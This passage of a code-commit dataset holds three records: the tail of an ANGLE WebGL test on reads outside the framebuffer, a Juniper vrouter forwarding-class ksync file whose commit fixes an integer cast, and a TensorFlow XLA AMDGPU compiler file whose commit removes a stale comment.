GL_COLOR_ATTACHMENT0, GL_RENDERBUFFER,\n                                  colorBuffer.get());\n\n        glViewport(0, 0, width, height);\n        drawQuad(mProgram, \"a_position\", 0.0f, 1.0f, true);\n        out->readFB(0, 0);\n    }\n\n    PixelRect mFBData;\n    GLuint mProgram;\n};\n\n\/\/ TODO(fjhenigman): Enable each test as part of a CL that lets the test pass.\n\n\/\/ Check that readPixels does not set a destination pixel when\n\/\/ the corresponding source pixel is outside the framebuffer.\nTEST_P(WebGLReadOutsideFramebufferTest, ReadPixels)\n{\n    \/\/ Main(&WebGLReadOutsideFramebufferTest::TestReadPixels, false);\n}\n\n\/\/ Check that copyTexSubImage2D does not set a destination pixel when\n\/\/ the corresponding source pixel is outside the framebuffer.\nTEST_P(WebGLReadOutsideFramebufferTest, CopyTexSubImage2D)\n{\n    \/\/ TODO(fjhenigman): Figure out why this fails on Win10 Intel OpenGL\n    if (IsWindows() && IsIntel() && IsDesktopOpenGL())\n    {\n        std::cout << \"Test skipped on Windows OpenGL on Intel.\" << std::endl;\n        return;\n    }\n\n    Main(&WebGLReadOutsideFramebufferTest::TestCopyTexSubImage2D, false);\n}\n\n\/\/ Check that copyTexImage2D sets (0,0,0,0) for pixels outside the framebuffer.\nTEST_P(WebGLReadOutsideFramebufferTest, CopyTexImage2D)\n{\n    \/\/ Main(&WebGLReadOutsideFramebufferTest::TestCopyTexImage2D, true);\n}\n\nANGLE_INSTANTIATE_TEST(WebGLReadOutsideFramebufferTest,\n                       ES2_D3D9(),\n                       ES2_D3D11(),\n                       ES3_D3D11(),\n                       ES2_D3D11_FL9_3(),\n                       ES2_OPENGL(),\n                       ES3_OPENGL(),\n                       ES2_OPENGLES(),\n                       ES3_OPENGLES());\n\n}  \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <base\/logging.h>\n#include <ksync\/ksync_index.h>\n#include <ksync\/ksync_entry.h>\n#include <ksync\/ksync_object.h>\n#include <ksync\/ksync_netlink.h>\n#include <ksync\/ksync_sock.h>\n#include <vrouter\/ksync\/ksync_init.h>\n#include \"vrouter\/ksync\/qos_queue_ksync.h\"\n#include \"vrouter\/ksync\/forwarding_class_ksync.h\"\n\nForwardingClassKSyncEntry::ForwardingClassKSyncEntry(\n        ForwardingClassKSyncObject *obj, const ForwardingClassKSyncEntry *fc):\n    KSyncNetlinkDBEntry(), ksync_obj_(obj), id_(fc->id()),\n    qos_queue_ksync_(NULL) {\n}\n\nForwardingClassKSyncEntry::ForwardingClassKSyncEntry(\n        ForwardingClassKSyncObject *obj, const ForwardingClass *fc):\n    KSyncNetlinkDBEntry(), ksync_obj_(obj), id_(fc->id()),\n    qos_queue_ksync_(NULL) {\n}\n\nForwardingClassKSyncEntry::ForwardingClassKSyncEntry(\n        ForwardingClassKSyncObject *obj, uint32_t id):\n    KSyncNetlinkDBEntry(), ksync_obj_(obj), id_(id),\n    qos_queue_ksync_(NULL) {\n}\n\nForwardingClassKSyncEntry::~ForwardingClassKSyncEntry() {\n}\n\nKSyncDBObject *ForwardingClassKSyncEntry::GetObject() {\n    return ksync_obj_;\n}\n\nbool ForwardingClassKSyncEntry::IsLess(const KSyncEntry &rhs) const {\n    const ForwardingClassKSyncEntry &entry = static_cast<const ForwardingClassKSyncEntry &>(rhs);\n    return id_ < entry.id_;\n}\n\nstd::string ForwardingClassKSyncEntry::ToString() const {\n    std::stringstream s;\n    s << \"Forwarding class id \" << id_;\n    return s.str();\n}\n\nbool ForwardingClassKSyncEntry::Sync(DBEntry *e) {\n    ForwardingClass *fc = static_cast<ForwardingClass *>(e);\n\n    bool ret = false;\n    if (dscp_ != fc->dscp()) {\n        dscp_ = fc->dscp();\n        ret = true;\n    }\n\n    if (vlan_priority_ != fc->vlan_priority()) {\n        vlan_priority_ = fc->vlan_priority();\n        ret = true;\n    }\n\n    if (mpls_exp_ != fc->mpls_exp()) {\n        mpls_exp_ = fc->mpls_exp();\n        ret = true;\n    }\n\n    QosQueueKSyncObject *qos_queue_object =\n        (static_cast<QosQueueKSyncObject *>(ksync_obj_))->\n        ksync()->qos_queue_ksync_obj();\n\n    KSyncEntry *qos_queue_ksync_ptr = NULL;\n    if (fc->qos_queue_ref()) {\n        QosQueueKSyncEntry qos_queue_ksync(qos_queue_object,\n                                           fc->qos_queue_ref());\n        qos_queue_ksync_ptr = qos_queue_object->GetReference(&qos_queue_ksync);\n    }\n\n    if (qos_queue_ksync_ptr != qos_queue_ksync_) {\n        qos_queue_ksync_ = qos_queue_ksync_ptr;\n        ret = true;\n    }\n\n    return ret;\n}\n\nint ForwardingClassKSyncEntry::Encode(sandesh_op::type op, char *buf, int buf_len) {\n    vr_fc_map_req encoder;\n    encoder.set_h_op(op);\n    encoder.set_fmr_rid(0);\n\n    std::vector<int16_t> id_list;\n    id_list.push_back((int8_t)id_);\n    encoder.set_fmr_id(id_list);\n\n    std::vector<int8_t> dscp_list;\n    dscp_list.push_back(dscp_);\n    encoder.set_fmr_dscp(dscp_list);\n\n    std::vector<int8_t> vlan_priority_list;\n    vlan_priority_list.push_back(vlan_priority_);\n    encoder.set_fmr_dotonep(vlan_priority_list);\n\n    std::vector<int8_t> mpls_exp_list;\n    mpls_exp_list.push_back(mpls_exp_);\n    encoder.set_fmr_mpls_qos(mpls_exp_list);\n\n    std::vector<int8_t> qos_queue_list;\n    const QosQueueKSyncEntry *qos_queue =\n         static_cast<const QosQueueKSyncEntry *>(qos_queue_ksync_.get());\n    if (qos_queue) {\n        qos_queue_list.push_back(qos_queue->id());\n    } else {\n        \/\/Default for now\n        qos_queue_list.push_back(0);\n    }\n    encoder.set_fmr_queue_id(qos_queue_list);\n\n    int error = 0;\n    int encode_len = encoder.WriteBinary((uint8_t *)buf, buf_len, &error);\n    assert(error == 0);\n    assert(encode_len <= buf_len);\n    return encode_len;\n}\n\nint ForwardingClassKSyncEntry::AddMsg(char *buf, int buf_len) {\n    return Encode(sandesh_op::ADD, buf, buf_len);\n}\n\nint ForwardingClassKSyncEntry::ChangeMsg(char *buf, int buf_len) {\n    return Encode(sandesh_op::ADD, buf, buf_len);\n}\n\nint ForwardingClassKSyncEntry::DeleteMsg(char *buf, int buf_len) {\n    return Encode(sandesh_op::DELETE, buf, buf_len);\n}\n\nKSyncEntry *ForwardingClassKSyncEntry::UnresolvedReference() {\n    if (qos_queue_ksync() && qos_queue_ksync()->IsResolved() == false) {\n        return qos_queue_ksync();\n    }\n\n    return NULL;\n}\n\nForwardingClassKSyncObject::ForwardingClassKSyncObject(KSync *ksync):\n    KSyncDBObject(\"KSync Forwarding class object\"), ksync_(ksync) {\n}\n\nForwardingClassKSyncObject::~ForwardingClassKSyncObject() {\n\n}\n\nvoid ForwardingClassKSyncObject::RegisterDBClients() {\n    RegisterDb(ksync_->agent()->forwarding_class_table());\n}\n\nKSyncEntry*\nForwardingClassKSyncObject::Alloc(const KSyncEntry *e, uint32_t index) {\n    const ForwardingClassKSyncEntry *entry =\n        static_cast<const ForwardingClassKSyncEntry *>(e);\n    ForwardingClassKSyncEntry *new_entry =\n        new ForwardingClassKSyncEntry(this, entry);\n    return static_cast<KSyncEntry *>(new_entry);\n}\n\nKSyncEntry *ForwardingClassKSyncObject::DBToKSyncEntry(const DBEntry *e) {\n    const ForwardingClass *fc = static_cast<const ForwardingClass *>(e);\n    ForwardingClassKSyncEntry *entry = new ForwardingClassKSyncEntry(this, fc);\n    return static_cast<KSyncEntry *>(entry);\n}\n\nvoid vr_fc_map_req::Process(SandeshContext *context) {\n    AgentSandeshContext *ioc = static_cast<AgentSandeshContext *>(context);\n    ioc->ForwardingClassMsgHandler(this);\n}\n\nKSyncDBObject::DBFilterResp\nForwardingClassKSyncObject::DBEntryFilter(const DBEntry *entry,\n                                          const KSyncDBEntry *ksync) {\n    const ForwardingClass *fc = static_cast<const ForwardingClass *>(entry);\n    if (ksync) {\n        const ForwardingClassKSyncEntry *ksync_entry =\n            static_cast<const ForwardingClassKSyncEntry *>(ksync);\n        if (fc->id() != ksync_entry->id()) {\n            return DBFilterDelAdd;\n        }\n    }\n    return DBFilterAccept;\n}\n<commit_msg>* Pass forwarding class as int16_t as specified in sandesh file<commit_after>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <base\/logging.h>\n#include <ksync\/ksync_index.h>\n#include <ksync\/ksync_entry.h>\n#include <ksync\/ksync_object.h>\n#include <ksync\/ksync_netlink.h>\n#include <ksync\/ksync_sock.h>\n#include <vrouter\/ksync\/ksync_init.h>\n#include \"vrouter\/ksync\/qos_queue_ksync.h\"\n#include \"vrouter\/ksync\/forwarding_class_ksync.h\"\n\nForwardingClassKSyncEntry::ForwardingClassKSyncEntry(\n        ForwardingClassKSyncObject *obj, const ForwardingClassKSyncEntry *fc):\n    KSyncNetlinkDBEntry(), ksync_obj_(obj), id_(fc->id()),\n    qos_queue_ksync_(NULL) {\n}\n\nForwardingClassKSyncEntry::ForwardingClassKSyncEntry(\n        ForwardingClassKSyncObject *obj, const ForwardingClass *fc):\n    KSyncNetlinkDBEntry(), ksync_obj_(obj), id_(fc->id()),\n    qos_queue_ksync_(NULL) {\n}\n\nForwardingClassKSyncEntry::ForwardingClassKSyncEntry(\n        ForwardingClassKSyncObject *obj, uint32_t id):\n    KSyncNetlinkDBEntry(), ksync_obj_(obj), id_(id),\n    qos_queue_ksync_(NULL) {\n}\n\nForwardingClassKSyncEntry::~ForwardingClassKSyncEntry() {\n}\n\nKSyncDBObject *ForwardingClassKSyncEntry::GetObject() {\n    return ksync_obj_;\n}\n\nbool ForwardingClassKSyncEntry::IsLess(const KSyncEntry &rhs) const {\n    const ForwardingClassKSyncEntry &entry = static_cast<const ForwardingClassKSyncEntry &>(rhs);\n    return id_ < entry.id_;\n}\n\nstd::string ForwardingClassKSyncEntry::ToString() const {\n    std::stringstream s;\n    s << \"Forwarding class id \" << id_;\n    return s.str();\n}\n\nbool ForwardingClassKSyncEntry::Sync(DBEntry *e) {\n    ForwardingClass *fc = static_cast<ForwardingClass *>(e);\n\n    bool ret = false;\n    if (dscp_ != fc->dscp()) {\n        dscp_ = fc->dscp();\n        ret = true;\n    }\n\n    if (vlan_priority_ != fc->vlan_priority()) {\n        vlan_priority_ = fc->vlan_priority();\n        ret = true;\n    }\n\n    if (mpls_exp_ != fc->mpls_exp()) {\n        mpls_exp_ = fc->mpls_exp();\n        ret = true;\n    }\n\n    QosQueueKSyncObject *qos_queue_object =\n        (static_cast<QosQueueKSyncObject *>(ksync_obj_))->\n        ksync()->qos_queue_ksync_obj();\n\n    KSyncEntry *qos_queue_ksync_ptr = NULL;\n    if (fc->qos_queue_ref()) {\n        QosQueueKSyncEntry qos_queue_ksync(qos_queue_object,\n                                           fc->qos_queue_ref());\n        qos_queue_ksync_ptr = qos_queue_object->GetReference(&qos_queue_ksync);\n    }\n\n    if (qos_queue_ksync_ptr != qos_queue_ksync_) {\n        qos_queue_ksync_ = qos_queue_ksync_ptr;\n        ret = true;\n    }\n\n    return ret;\n}\n\nint ForwardingClassKSyncEntry::Encode(sandesh_op::type op, char *buf, int buf_len) {\n    vr_fc_map_req encoder;\n    encoder.set_h_op(op);\n    encoder.set_fmr_rid(0);\n\n    std::vector<int16_t> id_list;\n    id_list.push_back((int16_t)id_);\n    encoder.set_fmr_id(id_list);\n\n    std::vector<int8_t> dscp_list;\n    dscp_list.push_back(dscp_);\n    encoder.set_fmr_dscp(dscp_list);\n\n    std::vector<int8_t> vlan_priority_list;\n    vlan_priority_list.push_back(vlan_priority_);\n    encoder.set_fmr_dotonep(vlan_priority_list);\n\n    std::vector<int8_t> mpls_exp_list;\n    mpls_exp_list.push_back(mpls_exp_);\n    encoder.set_fmr_mpls_qos(mpls_exp_list);\n\n    std::vector<int8_t> qos_queue_list;\n    const QosQueueKSyncEntry *qos_queue =\n         static_cast<const QosQueueKSyncEntry *>(qos_queue_ksync_.get());\n    if (qos_queue) {\n        qos_queue_list.push_back(qos_queue->id());\n    } else {\n        \/\/Default for now\n        qos_queue_list.push_back(0);\n    }\n    encoder.set_fmr_queue_id(qos_queue_list);\n\n    int error = 0;\n    int encode_len = encoder.WriteBinary((uint8_t *)buf, buf_len, &error);\n    assert(error == 0);\n    assert(encode_len <= buf_len);\n    return encode_len;\n}\n\nint ForwardingClassKSyncEntry::AddMsg(char *buf, int buf_len) {\n    return Encode(sandesh_op::ADD, buf, buf_len);\n}\n\nint ForwardingClassKSyncEntry::ChangeMsg(char *buf, int buf_len) {\n    return Encode(sandesh_op::ADD, buf, buf_len);\n}\n\nint ForwardingClassKSyncEntry::DeleteMsg(char *buf, int buf_len) {\n    return Encode(sandesh_op::DELETE, buf, buf_len);\n}\n\nKSyncEntry *ForwardingClassKSyncEntry::UnresolvedReference() {\n    if (qos_queue_ksync() && qos_queue_ksync()->IsResolved() == false) {\n        return qos_queue_ksync();\n    }\n\n    return NULL;\n}\n\nForwardingClassKSyncObject::ForwardingClassKSyncObject(KSync *ksync):\n    KSyncDBObject(\"KSync Forwarding class object\"), ksync_(ksync) {\n}\n\nForwardingClassKSyncObject::~ForwardingClassKSyncObject() {\n\n}\n\nvoid ForwardingClassKSyncObject::RegisterDBClients() {\n    RegisterDb(ksync_->agent()->forwarding_class_table());\n}\n\nKSyncEntry*\nForwardingClassKSyncObject::Alloc(const KSyncEntry *e, uint32_t index) {\n    const ForwardingClassKSyncEntry *entry =\n        static_cast<const ForwardingClassKSyncEntry *>(e);\n    ForwardingClassKSyncEntry *new_entry =\n        new ForwardingClassKSyncEntry(this, entry);\n    return static_cast<KSyncEntry *>(new_entry);\n}\n\nKSyncEntry *ForwardingClassKSyncObject::DBToKSyncEntry(const DBEntry *e) {\n    const ForwardingClass *fc = static_cast<const ForwardingClass *>(e);\n    ForwardingClassKSyncEntry *entry = new ForwardingClassKSyncEntry(this, fc);\n    return static_cast<KSyncEntry *>(entry);\n}\n\nvoid vr_fc_map_req::Process(SandeshContext *context) {\n    AgentSandeshContext *ioc = static_cast<AgentSandeshContext *>(context);\n    ioc->ForwardingClassMsgHandler(this);\n}\n\nKSyncDBObject::DBFilterResp\nForwardingClassKSyncObject::DBEntryFilter(const DBEntry *entry,\n                                          const KSyncDBEntry *ksync) {\n    const ForwardingClass *fc = static_cast<const ForwardingClass *>(entry);\n    if (ksync) {\n        const ForwardingClassKSyncEntry *ksync_entry =\n            static_cast<const ForwardingClassKSyncEntry *>(ksync);\n        if (fc->id() != ksync_entry->id()) {\n            return DBFilterDelAdd;\n        }\n    }\n    return DBFilterAccept;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/amdgpu_compiler.h\"\n\n#include \"tensorflow\/compiler\/xla\/service\/algebraic_simplifier.h\"\n#include \"tensorflow\/compiler\/xla\/service\/call_inliner.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/cusolver_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gemm_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_conv_algorithm_picker.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_conv_padding_legalization.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_conv_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_layout_assignment.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/llvm_gpu_backend\/gpu_backend_lib.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/reduction_degenerate_dim_remover.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/reduction_dimension_grouper.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/reduction_layout_normalizer.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/target_constants.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/tree_reduction_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/triangular_solve_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_constant_folding.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_cse.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_pass_fix.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_pass_pipeline.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_verifier.h\"\n#include \"tensorflow\/compiler\/xla\/service\/llvm_ir\/llvm_util.h\"\n#include \"tensorflow\/compiler\/xla\/service\/tuple_simplifier.h\"\n#include \"tensorflow\/core\/platform\/rocm_rocdl_path.h\"\n\nnamespace xla {\nnamespace gpu {\n\nnamespace {\n\n\/\/ Returns the directory containing ROCm-Device-Libs files. This function is\n\/\/ called in AMDGPUCompiler's constructor, so can't return an error. But\n\/\/ AMDGPUCompiler::Compile will return an error when the wanted rocdl file\n\/\/ doesn't exist in the folder this function returns.\nstd::string GetROCDLDir(const HloModuleConfig& config) {\n  std::vector<std::string> potential_rocdl_dirs;\n  const std::string datadir = config.debug_options().xla_gpu_cuda_data_dir();\n  if (!datadir.empty()) {\n    potential_rocdl_dirs.push_back(datadir);\n  }\n  potential_rocdl_dirs.push_back(tensorflow::RocdlRoot());\n\n  \/\/ Tries all potential ROCDL directories in the order they are inserted.\n  \/\/ Returns the first directory that exists in the file system.\n  for (const std::string& potential_rocdl_dir : potential_rocdl_dirs) {\n    if (tensorflow::Env::Default()->IsDirectory(potential_rocdl_dir).ok()) {\n      VLOG(2) << \"Found ROCm-Device-Libs dir \" << potential_rocdl_dir;\n      return potential_rocdl_dir;\n    }\n    VLOG(2) << \"Unable to find potential ROCm-Device-Libs dir \"\n            << potential_rocdl_dir;\n  }\n\n  \/\/ Last resort: maybe in the current folder.\n  return \".\";\n}\n\n}  \/\/ namespace\n\nStatus AMDGPUCompiler::OptimizeHloConvolutionCanonicalization(\n    HloModule* hlo_module, se::StreamExecutor* stream_exec,\n    se::DeviceMemoryAllocator* device_allocator) {\n  \/\/ Convert convolutions into CustomCalls to MIOpen, then canonicalize them\n  \/\/ (PadInsertion).\n  HloPassPipeline pipeline(\"conv_canonicalization\");\n  pipeline.AddInvariantCheckerDebug<HloVerifier>(\n      \/*layout_sensitive=*\/false,\n      \/*allow_mixed_precision=*\/false);\n  pipeline.AddPass<GpusolverRewriter>();\n  pipeline.AddPass<GpuConvRewriter>();\n  pipeline.AddPass<GpuConvPaddingLegalization>();\n\n  \/\/ The conv padding\/vectorization passes which we need to get rid of.  They\n  \/\/ also leave behind unnecessary tuple\/get-tuple-element pairs that\n  \/\/ TupleSimplifier fixes.\n  pipeline.AddPass<CallInliner>();\n  pipeline.AddPass<TupleSimplifier>();\n\n  \/\/ tf2xla bridge, DepthwiseConvolutionConverter and GpuConvRewriter\n  \/\/ introduces reshapes and transposes that can be eliminated using\n  \/\/ AlgebraicSimplifier  We run algsimp to a fixed point.\n  \/\/\n  \/\/ When transposes appear in a fusion node, we can easily adjust the\n  \/\/ multi-dimensional index to create the one needed for the operand. This\n  \/\/ is not as easy with bitcasts, because we don't have the information\n  \/\/ readily available which dimensions are permuted. In addition to that,\n  \/\/ if we have a transpose and a reshape next to each other, they will both\n  \/\/ be replaced by a bitcast, and we replace bitcast(bitcast) with one\n  \/\/ bitcast. This leads to having to linearize and then delinearize the\n  \/\/ index.\n  AlgebraicSimplifierOptions options;\n  options.set_enable_conv_operand_swap(false);\n  pipeline.AddPass<HloPassFix<AlgebraicSimplifier>>(options);\n\n  pipeline.AddPass<HloConstantFolding>();\n  TF_RETURN_IF_ERROR(pipeline.Run(hlo_module).status());\n\n  return Status::OK();\n}\n\nStatus AMDGPUCompiler::OptimizeHloPostLayoutAssignment(\n    HloModule* hlo_module, se::StreamExecutor* stream_exec,\n    se::DeviceMemoryAllocator* device_allocator) {\n  TF_RETURN_IF_ERROR(GpuCompiler::OptimizeHloPostLayoutAssignment(\n      hlo_module, stream_exec, device_allocator));\n\n  HloPassPipeline post_pipeline(\"AMDGPU post-layout_assignment\");\n\n  if (!IsBefEnabled(hlo_module->config())) {\n    \/\/ Transform TriangularSolve ops into custom-calls, so we can add temp\n    \/\/ memory. XLIR allocates temp memory, and so the custom-call implementation\n    \/\/ for TriangularSolve is not needed.\n    post_pipeline.AddPass<TriangularSolveRewriter>();\n  }\n\n  TF_RETURN_IF_ERROR(post_pipeline.Run(hlo_module).status());\n\n  return Status::OK();\n}\n\nAMDGPUCompiler::AMDGPUCompiler()\n    : GpuCompiler(stream_executor::rocm::kROCmPlatformId,\n                  amdgpu::TargetTriple(), amdgpu::DataLayout()) {}\n\nGpuVersion AMDGPUCompiler::GetGpuVersion(se::StreamExecutor* stream_exec) {\n  return stream_exec->GetDeviceDescription().rocm_compute_capability();\n}\n\nStatusOr<std::pair<std::string, std::vector<uint8_t>>>\nAMDGPUCompiler::CompileTargetBinary(const HloModuleConfig& module_config,\n                                    llvm::Module* llvm_module,\n                                    GpuVersion gpu_version,\n                                    se::StreamExecutor* stream_exec,\n                                    bool relocatable,\n                                    const HloModule* debug_module) {\n  if (rocdl_dir_.empty()) {\n    \/\/ Compute rocdl_dir_ just once and cache it in this member.\n    rocdl_dir_ = GetROCDLDir(module_config);\n  }\n\n  if (relocatable) {\n    return Unimplemented(\"relocatable target binary is not implemented\");\n  }\n\n  std::vector<uint8_t> hsaco;\n  {\n    XLA_SCOPED_LOGGING_TIMER(\n        \"AMDGPUCompiler::CompileTargetBinary - CompileToHsaco\");\n    TF_ASSIGN_OR_RETURN(\n        hsaco, amdgpu::CompileToHsaco(llvm_module, gpu_version, module_config,\n                                      rocdl_dir_));\n  }\n\n  return std::pair<std::string, std::vector<uint8_t>>(\"\", std::move(hsaco));\n}\n\n}  \/\/ namespace gpu\n}  \/\/ namespace xla\n<commit_msg>Remove stale comment.<commit_after>\/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/amdgpu_compiler.h\"\n\n#include \"tensorflow\/compiler\/xla\/service\/algebraic_simplifier.h\"\n#include \"tensorflow\/compiler\/xla\/service\/call_inliner.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/cusolver_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gemm_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_conv_algorithm_picker.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_conv_padding_legalization.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_conv_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/gpu_layout_assignment.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/llvm_gpu_backend\/gpu_backend_lib.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/reduction_degenerate_dim_remover.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/reduction_dimension_grouper.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/reduction_layout_normalizer.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/target_constants.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/tree_reduction_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/triangular_solve_rewriter.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_constant_folding.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_cse.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_pass_fix.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_pass_pipeline.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_verifier.h\"\n#include \"tensorflow\/compiler\/xla\/service\/llvm_ir\/llvm_util.h\"\n#include \"tensorflow\/compiler\/xla\/service\/tuple_simplifier.h\"\n#include \"tensorflow\/core\/platform\/rocm_rocdl_path.h\"\n\nnamespace xla {\nnamespace gpu {\n\nnamespace {\n\n\/\/ Returns the directory containing ROCm-Device-Libs files. This function is\n\/\/ called in AMDGPUCompiler's constructor, so can't return an error. But\n\/\/ AMDGPUCompiler::Compile will return an error when the wanted rocdl file\n\/\/ doesn't exist in the folder this function returns.\nstd::string GetROCDLDir(const HloModuleConfig& config) {\n  std::vector<std::string> potential_rocdl_dirs;\n  const std::string datadir = config.debug_options().xla_gpu_cuda_data_dir();\n  if (!datadir.empty()) {\n    potential_rocdl_dirs.push_back(datadir);\n  }\n  potential_rocdl_dirs.push_back(tensorflow::RocdlRoot());\n\n  \/\/ Tries all potential ROCDL directories in the order they are inserted.\n  \/\/ Returns the first directory that exists in the file system.\n  for (const std::string& potential_rocdl_dir : potential_rocdl_dirs) {\n    if (tensorflow::Env::Default()->IsDirectory(potential_rocdl_dir).ok()) {\n      VLOG(2) << \"Found ROCm-Device-Libs dir \" << potential_rocdl_dir;\n      return potential_rocdl_dir;\n    }\n    VLOG(2) << \"Unable to find potential ROCm-Device-Libs dir \"\n            << potential_rocdl_dir;\n  }\n\n  \/\/ Last resort: maybe in the current folder.\n  return \".\";\n}\n\n}  \/\/ namespace\n\nStatus AMDGPUCompiler::OptimizeHloConvolutionCanonicalization(\n    HloModule* hlo_module, se::StreamExecutor* stream_exec,\n    se::DeviceMemoryAllocator* device_allocator) {\n  \/\/ Convert convolutions into CustomCalls to MIOpen, then canonicalize them\n  \/\/ (PadInsertion).\n  HloPassPipeline pipeline(\"conv_canonicalization\");\n  pipeline.AddInvariantCheckerDebug<HloVerifier>(\n      \/*layout_sensitive=*\/false,\n      \/*allow_mixed_precision=*\/false);\n  pipeline.AddPass<GpusolverRewriter>();\n  pipeline.AddPass<GpuConvRewriter>();\n  pipeline.AddPass<GpuConvPaddingLegalization>();\n\n  \/\/ The conv padding\/vectorization passes which we need to get rid of.  They\n  \/\/ also leave behind unnecessary tuple\/get-tuple-element pairs that\n  \/\/ TupleSimplifier fixes.\n  pipeline.AddPass<CallInliner>();\n  pipeline.AddPass<TupleSimplifier>();\n\n  \/\/ tf2xla bridge, DepthwiseConvolutionConverter and GpuConvRewriter\n  \/\/ introduces reshapes and transposes that can be eliminated using\n  \/\/ AlgebraicSimplifier  We run algsimp to a fixed point.\n  AlgebraicSimplifierOptions options;\n  options.set_enable_conv_operand_swap(false);\n  pipeline.AddPass<HloPassFix<AlgebraicSimplifier>>(options);\n\n  pipeline.AddPass<HloConstantFolding>();\n  TF_RETURN_IF_ERROR(pipeline.Run(hlo_module).status());\n\n  return Status::OK();\n}\n\nStatus AMDGPUCompiler::OptimizeHloPostLayoutAssignment(\n    HloModule* hlo_module, se::StreamExecutor* stream_exec,\n    se::DeviceMemoryAllocator* device_allocator) {\n  TF_RETURN_IF_ERROR(GpuCompiler::OptimizeHloPostLayoutAssignment(\n      hlo_module, stream_exec, device_allocator));\n\n  HloPassPipeline post_pipeline(\"AMDGPU post-layout_assignment\");\n\n  if (!IsBefEnabled(hlo_module->config())) {\n    \/\/ Transform TriangularSolve ops into custom-calls, so we can add temp\n    \/\/ memory. XLIR allocates temp memory, and so the custom-call implementation\n    \/\/ for TriangularSolve is not needed.\n    post_pipeline.AddPass<TriangularSolveRewriter>();\n  }\n\n  TF_RETURN_IF_ERROR(post_pipeline.Run(hlo_module).status());\n\n  return Status::OK();\n}\n\nAMDGPUCompiler::AMDGPUCompiler()\n    : GpuCompiler(stream_executor::rocm::kROCmPlatformId,\n                  amdgpu::TargetTriple(), amdgpu::DataLayout()) {}\n\nGpuVersion AMDGPUCompiler::GetGpuVersion(se::StreamExecutor* stream_exec) {\n  return stream_exec->GetDeviceDescription().rocm_compute_capability();\n}\n\nStatusOr<std::pair<std::string, std::vector<uint8_t>>>\nAMDGPUCompiler::CompileTargetBinary(const HloModuleConfig& module_config,\n                                    llvm::Module* llvm_module,\n                                    GpuVersion gpu_version,\n                                    se::StreamExecutor* stream_exec,\n                                    bool relocatable,\n                                    const HloModule* debug_module) {\n  if (rocdl_dir_.empty()) {\n    \/\/ Compute rocdl_dir_ just once and cache it in this member.\n    rocdl_dir_ = GetROCDLDir(module_config);\n  }\n\n  if (relocatable) {\n    return Unimplemented(\"relocatable target binary is not implemented\");\n  }\n\n  std::vector<uint8_t> hsaco;\n  {\n    XLA_SCOPED_LOGGING_TIMER(\n        \"AMDGPUCompiler::CompileTargetBinary - CompileToHsaco\");\n    TF_ASSIGN_OR_RETURN(\n        hsaco, amdgpu::CompileToHsaco(llvm_module, gpu_version, module_config,\n                                      rocdl_dir_));\n  }\n\n  return std::pair<std::string, std::vector<uint8_t>>(\"\", std::move(hsaco));\n}\n\n}  \/\/ namespace gpu\n}  \/\/ namespace xla\n<|endoftext|>"}
